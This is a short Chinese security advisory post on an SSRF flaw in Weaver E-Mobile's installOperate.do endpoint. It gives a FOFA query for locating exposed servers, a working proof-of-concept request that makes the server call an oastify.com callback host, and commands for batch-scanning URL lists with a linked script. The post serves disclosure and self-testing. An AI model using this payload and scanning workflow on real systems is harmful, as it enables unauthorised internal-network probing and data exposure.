fofa
product="泛微-EMobile"
资产页面
一、漏洞简述
泛微E-Mobile是一个专注于协同管理软件领域的公司，成立于2001年，总部位于上海。泛微OA致力于帮助组织构建统一的数字化运营平台，提供包括e-cology、e-office、etems、e-nation等在内的产品系列，覆盖大中型企业和中小型企业的需求，以及一体化的移动办公云OA平台。其接口installOperate.do存在SSRF漏洞，攻击者可通过该漏洞读取系统信息和探测内网信息。
二、漏洞检测poc
GET /install/installOperate.do?svrurl=http://123.udbn11fxrs36d7vwlv82uqr8vz1qpkd9.oastify.com HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0Connection: close
dnslog回显
三、漏洞检测脚本
安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：
https://github.com/ATonysan/poc-exp/blob/main/WeaverE-Mobile_installOperate_SSRF.py
批量检测:
python WeaverE-Mobile_installOperate_SSRF.py -f url.txt
单个url检测漏洞:
python WeaverE-Mobile_installOperate_SSRF.py -u url
四、修复
官方已更新补丁，请升级至最新版本。
官方网站：https://www.weaver.com.cn/
原文始发于微信公众号（苏诺木安全团队）：【1day】泛微E-Mobile installOperate SSRF漏洞【附poc】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论